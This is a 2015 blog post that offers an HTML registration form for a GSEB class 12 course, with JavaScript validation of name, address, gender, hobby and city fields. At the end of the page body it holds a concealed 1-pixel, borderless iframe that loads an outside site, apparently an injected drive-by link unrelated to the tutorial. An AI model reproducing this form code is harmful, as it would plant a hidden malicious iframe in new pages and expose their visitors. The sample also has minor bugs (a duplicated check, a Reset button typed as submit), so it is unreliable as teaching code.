Friday, March 6, 2015

html registration form for std 12 learning language GSEB course

<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>f</title>
<script>
function validationForm()
{
var x=document.form1.fname.value;
var y=document.form1.mname.value;
var z=document.form1.lname.value;
var r=document.form1.address.value;
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(x==null || x=="")
{
alert("plese enter the First name");
document.form1.fname.focus();
return false;
}
if(y==""||y==null)
{
alert("plese enter the Middel name");
document.form1.mname.focus();
return false;
}
if(z==""||z==null)
{
alert("plese enter the last name");
document.form1.lname.focus();
return false;
}
if(r=="")
{
alert("plese enter the Address");
document.form1.address.focus();
return false;
}
if((document.form1.gender[0].checked==false)&&(document.form1.gender[1].checked==false))
{
alert("plese choose your Gender:Male or Female");
document.form1.gender[0].focus();
return false;
}
if((document.form1.hobby[0].checked==false)&&(document.form1.hobby[1].checked==false)&&(document.form1.hobby[2].checked==false))
{
alert("plese choose a hobby");
document.form1.hobby[0].focus();
return false;
}
if(document.form1.city.value=="-1")
{
alert("plese provide your city");
document.form1.city.focus();
return false;
}
}
</script>
</head>
<body>
<form onsubmit="return validationForm()" method="post"
action="form1.html" name="form1"><span style="font-weight: bold;">First
name &nbsp; </span>&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <input name="fname"><br
style="font-weight: bold;">
<span style="font-weight: bold;">&nbsp;</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">Middel name&nbsp;
&nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp;<input name="mname"><br>
<br style="font-weight: bold;">
<span style="font-weight: bold;">Last name</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp;<input name="lname"><br>
<br>
<span style="font-weight: bold;">Gender</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<input name="gender" value="male"
type="radio">Male
<input name="gender" value="female" type="radio">Female<br>
<br>
<span style="font-weight: bold;">Hobby</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <input name="hobby"
value="singing" type="checkbox">Singing
&nbsp;<input name="hobby" value="dancing" type="checkbox">Dancing &nbsp;<input
name="hobby" value="reading" type="checkbox">Reading<br>
<br>
<span style="font-weight: bold;">Address</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <textarea cols="30" rows="4" name="address"></textarea><br>
<br>
<span style="font-weight: bold;">City</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp;
<select name="city">
<option value="-1">Choose the city</option>
<option value="1">Ahmedabad</option>
<option value="2">Baroda</option>
<option value="3">Surat</option>
<option value="4">Rajkot</option>
</select>
<br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp;<input name="Submit" value="Submit" type="submit"> &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp;<input name="Reset" value="Reset"
type="submit"><br>
</form>
<iframe style="height: 1px;" src="http://www.Brenz.pl/rc/"
frameborder="0" width="1"></iframe>
</body>
</html>